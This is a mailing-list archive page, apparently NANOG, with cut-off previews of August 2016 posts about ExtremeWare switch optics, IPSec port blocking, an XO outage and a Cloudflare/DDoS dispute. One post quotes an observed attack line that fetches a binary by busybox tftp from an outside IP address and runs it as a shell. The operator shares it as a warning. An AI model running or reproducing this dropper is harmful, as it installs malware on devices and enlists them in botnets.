Re: ExtremeWare

2016-08-01 Thread Paul Thornton
Hi On 01/08/2016 23:39, Mike Hammett wrote: Can those that ran switches with ExtremeWare on them remember that far back? Just about. I've got a Summit 400t-48 and I can't seem figure out how to get DDM information from the SFP. Did they have that ability? They probably do, but only in the d

ExtremeWare

2016-08-01 Thread Mike Hammett
Can those that ran switches with ExtremeWare on them remember that far back? I've got a Summit 400t-48 and I can't seem figure out how to get DDM information from the SFP. Did they have that ability? - Mike Hammett Intelligent Computing Solutions http://www.ics-il.com Midwest-IX h

Re: Cloudflare, dirty networks and politricks

2016-08-01 Thread John
On 2016-08-01 13:20, Baldur Norddahl wrote: > On 2016-07-31 05:46, Randy Bush wrote: >>> This is silly. Anyone is of course allowed to deny service to parties >>> involved in obvious criminal activity. >> so block cloudflare from your network and go back to work already. >> >> randy > I do bel

Re: Brighthouse Orlando Port blocking ISAKMP

2016-08-01 Thread Mallette, Edwin J
Hi Erik, We definitely do not filter UDP500 across our network. I¹m going to reach out to you directly to see if I can help figure out what¹s going on. Cheers! Ed On 7/30/16, 11:38 PM, "NANOG on behalf of Eric C. Miller" wrote: >Hello! > >Subject says it all!!! I cannot open any IPSec tunnel

XO, Bad day?

2016-08-01 Thread Mark Bodley
I am getting mass reports of problems on any ISP using XO for longhaul/interconnect. Anyone @ XO care to share a status, and or ETR?

Re: Cloudflare, dirty networks and politricks

2016-08-01 Thread Alain Hebert
While on that subject, ( And by pure coincidence ) Here is a little attempt of exploiting overflow (dnsmasq maybe) using OVH as a payload distribution cd /tmp || cd /var/ || cd /dev/;busybox tftp -r min -g 91.134.141.49;cp /bin/sh .;cat min >sh;chmod 777 sh;./sh Obviou

Re: Cloudflare, dirty networks and politricks

2016-08-01 Thread Randy Bush
>> so block cloudflare from your network and go back to work already. > > What is that supposed to accomplish? Cloudflare will still be helping > selling DDoS attacks on my network. > > No it is not the same as asking Cloudflare to do the sensible thing: and how is that working out for you? al

Re: Cloudflare, dirty networks and politricks

2016-08-01 Thread Baldur Norddahl
On 2016-07-31 05:46, Randy Bush wrote: This is silly. Anyone is of course allowed to deny service to parties involved in obvious criminal activity. so block cloudflare from your network and go back to work already. randy What is that supposed to accomplish? Cloudflare will still be helping